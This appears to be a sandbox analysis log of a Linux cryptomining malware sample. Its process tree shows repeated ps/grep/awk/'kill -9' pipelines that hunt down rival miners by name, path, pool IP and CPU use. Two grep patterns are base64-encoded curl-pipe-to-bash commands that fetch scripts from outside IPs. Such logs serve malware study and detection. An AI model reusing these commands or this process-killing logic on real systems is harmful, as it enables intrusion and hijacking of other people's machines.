- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1043
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1042
- /bin/grep
  grep -v grep
  2⤵
  PID:1041
- /bin/ps
  ps aux
  2⤵
  PID:1040
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1048
- /bin/grep
  grep -v grep
  2⤵
  PID:1047
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1049
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1050
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1046
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1057
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1056
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1055
- /bin/grep
  grep -v grep
  2⤵
  PID:1054
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1053
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1064
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1063
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1062
- /bin/grep
  grep -v grep
  2⤵
  PID:1061
- /bin/ps
  ps aux
  2⤵
  PID:1060
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1069
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1068
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1067
- /bin/grep
  grep -v grep
  2⤵
  PID:1066
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1065
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1076
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1075
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1074
- /bin/grep
  grep -v grep
  2⤵
  PID:1073
- /bin/ps
  ps aux
  2⤵
  PID:1072
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1083
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1082
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1081
- /bin/grep
  grep -v grep
  2⤵
  PID:1080
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1079
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1088
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1087
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1086
- /bin/grep
  grep -v grep
  2⤵
  PID:1085
- /bin/ps
  ps aux
  2⤵
  PID:1084
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1095
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1094
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1093
- /bin/grep
  grep -v grep
  2⤵
  PID:1092
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1091
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1102
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1101
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1100
- /bin/grep
  grep -v grep
  2⤵
  PID:1099
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1098
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1108
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1107
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1106
- /bin/grep
  grep -v grep
  2⤵
  PID:1105
- /bin/ps
  ps aux
  2⤵
  PID:1104
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1114
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1113
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1112
- /bin/grep
  grep -v grep
  2⤵
  PID:1111
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1110
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1122
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1121
- /bin/grep
  grep -v grep
  2⤵
  PID:1119
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1118
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1120
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1128
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1127
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1126
- /bin/grep
  grep -v grep
  2⤵
  PID:1125
- /bin/ps
  ps aux
  2⤵
  PID:1124
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1136
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1135
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1134
- /bin/grep
  grep -v grep
  2⤵
  PID:1133
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1132
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1144
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1143
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1142
- /bin/grep
  grep -v grep
  2⤵
  PID:1141
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1140
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1150
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1149
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1148
- /bin/grep
  grep -v grep
  2⤵
  PID:1147
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1146
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1156
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1155
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1154
- /bin/grep
  grep -v grep
  2⤵
  PID:1153
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1152
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1164
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1163
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1162
- /bin/grep
  grep -v grep
  2⤵
  PID:1161
- /bin/ps
  ps aux
  2⤵
  PID:1160
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1170
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1169
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1168
- /bin/grep
  grep -v grep
  2⤵
  PID:1167
- /bin/ps
  ps aux
  2⤵
  PID:1166
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1175
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1174
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1173
- /bin/grep
  grep -v grep
  2⤵
  PID:1172
- /bin/ps
  ps aux
  2⤵
  PID:1171
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1180
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1178
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1179
- /bin/grep
  grep -v grep
  2⤵
  PID:1177
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1176
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1189
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1188
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:1187
- /bin/grep
  grep -v grep
  2⤵
  PID:1186
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1185
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1194
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1193
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:1192
- /bin/grep
  grep -v grep
  2⤵
  PID:1191
- /bin/ps
  ps aux
  2⤵
  PID:1190
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1199
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1198
- /bin/grep
  grep HiPxCJRS
  2⤵
  - System Network Configuration Discovery
  PID:1197
- /bin/grep
  grep -v grep
  2⤵
  PID:1196
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1195
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1204
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1203
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:1202
- /bin/grep
  grep -v grep
  2⤵
  PID:1201
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1200
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1209
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1208
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:1207
- /bin/grep
  grep -v grep
  2⤵
  PID:1206
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1205
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1213
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1214
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:1212
- /bin/grep
  grep -v grep
  2⤵
  PID:1211
- /bin/ps
  ps aux
  2⤵
  PID:1210
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1219
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1218
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:1217
- /bin/grep
  grep -v grep
  2⤵
  PID:1216
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1215
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1224
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1223
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:1222
- /bin/grep
  grep -v grep
  2⤵
  PID:1221
- /bin/ps
  ps aux
  2⤵
  PID:1220
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1229
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1228
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:1227
- /bin/grep
  grep -v grep
  2⤵
  PID:1226
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1225
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1233
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:1232
- /bin/grep
  grep -v grep
  2⤵
  PID:1231
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1230
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1238
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1237
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:1236
- /bin/grep
  grep -v grep
  2⤵
  PID:1235
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1234
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1243
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1242
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:1241
- /bin/grep
  grep -v grep
  2⤵
  PID:1240
- /bin/ps
  ps aux
  2⤵
  PID:1239
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1248
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1247
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:1246
- /bin/grep
  grep -v grep
  2⤵
  PID:1245
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1244
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1253
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1252
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:1251
- /bin/grep
  grep -v grep
  2⤵
  PID:1250
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1249
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1258
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1257
- /bin/grep
  grep nqscheduler
  2⤵
  PID:1256
- /bin/grep
  grep -v grep
  2⤵
  PID:1255
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1254
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1263
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1262
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:1261
- /bin/grep
  grep -v grep
  2⤵
  PID:1260
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1259
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1269
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:1268
- /bin/grep
  grep "]"
  2⤵
  PID:1267
- /bin/grep
  grep -v aux
  2⤵
  PID:1266
- /bin/grep
  grep -v grep
  2⤵
  PID:1265
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1264
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1274
- /bin/grep
  grep -v grep
  2⤵
  PID:1271
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:1272
- /bin/ps
  ps aux
  2⤵
  PID:1270
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1273
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1279
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1278
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:1277
- /bin/grep
  grep -v grep
  2⤵
  PID:1276
- /bin/ps
  ps aux
  2⤵
  PID:1275
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1284
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1283
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:1282
- /bin/grep
  grep -v grep
  2⤵
  PID:1281
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1280
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1291
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:1290
- /bin/grep
  grep -v _
  2⤵
  PID:1289
- /bin/grep
  grep -v -
  2⤵
  PID:1288
- /bin/grep
  grep -v /
  2⤵
  PID:1287
- /bin/grep
  grep -v grep
  2⤵
  PID:1286
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1285
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1296
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1295
- /bin/grep
  grep "\\[^"
  2⤵
  PID:1294
- /bin/grep
  grep -v grep
  2⤵
  PID:1293
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1292
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1301
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1300
- /bin/grep
  grep rsync
  2⤵
  PID:1299
- /bin/grep
  grep -v grep
  2⤵
  PID:1298
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1297
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1306
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1305
- /bin/grep
  grep watchd0g
  2⤵
  PID:1304
- /bin/grep
  grep -v grep
  2⤵
  PID:1303
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1302
- /bin/grep
  grep -v grep
  2⤵
  PID:1308
- /bin/ps
  ps aux
  2⤵
  PID:1307
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1309
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1310
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Reads runtime system information
  PID:1311
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1309
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1309
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1309
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1309
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1309
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1309
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1316
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1315
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  PID:1314
- /bin/grep
  grep -v grep
  2⤵
  PID:1313
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1312
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1323
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1322
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1321
- /bin/grep
  grep -v grep
  2⤵
  PID:1320
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1319
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1328
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1327
- /bin/grep
  grep gitee.com
  2⤵
  PID:1326
- /bin/grep
  grep -v grep
  2⤵
  PID:1325
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1324
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1335
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1334
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1333
- /bin/grep
  grep -v grep
  2⤵
  PID:1332
- /bin/ps
  ps aux
  2⤵
  PID:1331
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1337
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:1339
- /bin/grep
  grep -v grep
  2⤵
  PID:1338
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1340
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1341
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1347
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1346
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:1345
- /bin/grep
  grep -v grep
  2⤵
  PID:1344
- /bin/ps
  ps aux
  2⤵
  PID:1343
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1354
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1353
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:1352
- /bin/grep
  grep -v grep
  2⤵
  PID:1351
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1350
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1361
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1360
- /bin/grep
  grep kthrotlds
  2⤵
  PID:1359
- /bin/grep
  grep -v grep
  2⤵
  PID:1358
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1357
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1366
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1365
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:1364
- /bin/grep
  grep -v grep
  2⤵
  PID:1363
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1362
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1373
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1372
- /bin/grep
  grep netdns
  2⤵
  PID:1371
- /bin/grep
  grep -v grep
  2⤵
  PID:1370
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1369
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1380
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1379
- /bin/grep
  grep watchdogs
  2⤵
  PID:1378
- /bin/grep
  grep -v grep
  2⤵
  PID:1377
- /bin/ps
  ps aux
  2⤵
  PID:1376
- /bin/grep
  grep -v atd
  2⤵
  PID:1389
- /usr/bin/awk
  awk "\$3>80.0{print \$2}"
  2⤵
  PID:1392
- /bin/grep
  grep -v postgresq1
  2⤵
  PID:1391
- /bin/grep
  grep -v kdevtmpfsi
  2⤵
  PID:1390
- /bin/grep
  grep -v dblaunched
  2⤵
  PID:1387
- /bin/grep
  grep -v apache2
  2⤵
  PID:1388
- /bin/grep
  grep -v dblaunchs
  2⤵
  PID:1386
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1393
- /bin/grep
  grep -v dblaunch
  2⤵
  PID:1385
- /bin/grep
  grep -v root
  2⤵
  PID:1384
- /bin/grep
  grep -v grep
  2⤵
  PID:1383
- /bin/ps
  ps aux
  2⤵
  PID:1382
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1400
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1399
- /bin/grep
  grep " ps"
  2⤵
  PID:1398
- /bin/grep
  grep -v aux
  2⤵
  PID:1397
- /bin/grep
  grep -v grep
  2⤵
  PID:1396
- /bin/ps
  ps aux
  2⤵
  PID:1395
- /bin/grep
  grep sync_supers
  2⤵
  PID:1405
- /bin/grep
  grep -v grep
  2⤵
  PID:1404
- /bin/ps
  ps aux
  2⤵
  PID:1403
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1406
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1407
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1413
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1412
- /bin/grep
  grep cpuset
  2⤵
  PID:1411
- /bin/grep
  grep -v grep
  2⤵
  PID:1410
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1409
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1420
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1419
- /bin/grep
  grep "x]"
  2⤵
  PID:1418
- /bin/grep
  grep -v aux
  2⤵
  PID:1417
- /bin/grep
  grep -v grep
  2⤵
  PID:1416
- /bin/ps
  ps aux
  2⤵
  PID:1415
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1428
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1427
- /bin/grep
  grep "sh] <"
  2⤵
  PID:1426
- /bin/grep
  grep -v aux
  2⤵
  PID:1425
- /bin/grep
  grep -v grep
  2⤵
  PID:1424
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1423
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1436
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1435
- /bin/grep
  grep " \\[]"
  2⤵
  PID:1434
- /bin/grep
  grep -v aux
  2⤵
  PID:1433
- /bin/grep
  grep -v grep
  2⤵
  PID:1432
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1431
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1442
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1441
- /bin/grep
  grep /tmp/l.sh
  2⤵
  PID:1440
- /bin/grep
  grep -v grep
  2⤵
  PID:1439
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1438
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1448
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1447
- /bin/grep
  grep /tmp/zmcat
  2⤵
  PID:1446
- /bin/grep
  grep -v grep
  2⤵
  PID:1445
- /bin/ps
  ps aux
  2⤵
  PID:1444
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1455
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1454
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1453
- /bin/grep
  grep -v grep
  2⤵
  PID:1452
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1451
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1461
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1460
- /bin/grep
  grep CnzFVPLF
  2⤵
  PID:1459
- /bin/grep
  grep -v grep
  2⤵
  PID:1458
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1457
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1467
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1466
- /bin/grep
  grep CvKzzZLs
  2⤵
  PID:1465
- /bin/grep
  grep -v grep
  2⤵
  PID:1464
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1463
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1472
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1471
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:1470
- /bin/grep
  grep -v grep
  2⤵
  PID:1469
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1468
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1477
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1476
- /bin/grep
  grep /tmp/udevd
  2⤵
  PID:1475
- /bin/grep
  grep -v grep
  2⤵
  PID:1474
- /bin/ps
  ps aux
  2⤵
  PID:1473
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1482
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1481
- /bin/grep
  grep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA
  2⤵
  PID:1480
- /bin/grep
  grep -v grep
  2⤵
  PID:1479
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1478
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1487
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1486
- /bin/grep
  grep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo
  2⤵
  PID:1485
- /bin/grep
  grep -v grep
  2⤵
  PID:1484
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1483
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1492
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1491
- /bin/grep
  grep sustse
  2⤵
  PID:1490
- /bin/grep
  grep -v grep
  2⤵
  PID:1489
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1488
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1497
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1496
- /bin/grep
  grep sustse3
  2⤵
  PID:1495
- /bin/grep
  grep -v grep
  2⤵
  PID:1494
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1493
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1503
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1502
- /bin/grep
  grep wget
  2⤵
  PID:1501
- /bin/grep
  grep mr.sh
  2⤵
  PID:1500
- /bin/grep
  grep -v grep
  2⤵
  PID:1499
- /bin/ps
  ps aux
  2⤵
  PID:1498
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1509
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1508
- /bin/grep
  grep curl
  2⤵
  PID:1507
- /bin/grep
  grep mr.sh
  2⤵
  PID:1506
- /bin/grep
  grep -v grep
  2⤵
  PID:1505
